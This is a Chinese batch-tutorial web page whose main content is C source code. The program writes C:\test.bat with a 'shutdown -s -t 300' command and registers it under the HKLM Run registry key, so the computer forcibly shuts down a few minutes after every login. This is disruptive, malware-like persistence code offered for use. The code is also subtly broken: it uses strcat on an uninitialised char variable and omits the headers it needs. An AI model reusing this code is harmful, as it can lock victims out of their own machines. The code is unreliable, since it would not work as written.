当前位置:DOS资源站资料中心批处理教程 → c语言创建批处理文件 并加到启动项

c语言创建批处理文件 并加到启动项

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2008-5-27 17:16:25

#include<stdio.h>
#include<stdlib.h>
main()
{
clrscr();
file_Create();
file_write();
file_run();
getch();
}

   file_Create() /*创建文件*/
{
   FILE *fpa;
   fpa=fopen("C:/test.bat","w");
   fclose(fpa);
}

   file_write()    /*写文件*/
{
    FILE *fpb;
    fpb=fopen("C:\\test.bat","w");
    if(fpb==NULL)
    {
     puts("Can not open this file!");
     fclose(fpb);
     exit(0);
    }
    else
     {
     char *str[]={   
        "@echo off \n",
        "color a    \n",
        "C:\\WINDOWS\\system32\\shutdown.exe -s -t 300"      
        };

     char str_all=NULL; /*定义接受字符*/
     int i;
     for(i=0;i<sizeof(str)/sizeof(*str);++i)
     {           
     strcat(str_all,str[i]);
     };
     fputs(str_all,fpb);
     fclose(fpb);
    }
}

   file_run()/*写入注册表 自动运行*/
{
        system("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v Run_cz /d   C:\\test.bat /f");